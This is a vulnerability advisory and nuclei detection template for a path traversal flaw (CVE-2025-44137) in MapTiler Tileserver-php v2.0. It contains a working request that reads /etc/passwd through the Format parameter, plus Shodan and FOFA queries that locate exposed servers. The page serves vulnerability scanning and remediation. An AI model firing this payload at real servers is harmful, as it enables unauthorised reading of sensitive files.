MapTiler Tileserver-php v2.0 - Unauthenticated File Read

highseverity

7.5CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests

Impact

Attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to the latest version of MapTiler Tileserver-php.

How to confirm it

Send: GET {{BaseURL}}/tileserver.php/x/1/1/1?Format=/../../../../../../../../../../../../../../etc/passwd&Request=x&layer=.
Positive when: matches /root:.*:0:0:/ AND contains in content_type "image/" AND status 200

Run it with nuclei: nuclei -id CVE-2025-44137 -u <target>

The full check

id: CVE-2025-44137

info:
  name: MapTiler Tileserver-php v2.0 - Unauthenticated File Read
  author: 0x_Akoko
  severity: high
  description: |
    MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of MapTiler Tileserver-php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44137
    - https://github.com/mheranco/CVE-2025-44137
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-44137
    epss-score: 0.01336
    epss-percentile: 0.71443
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TileServer-php"
    fofa-query: title="TileServer-php"
  tags: cve,cve2025,lfi,maptiler,tileserver,traversal,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tileserver.php/x/1/1/1?Format=/../../../../../../../../../../../../../../etc/passwd&Request=x&layer=."

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "image/"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from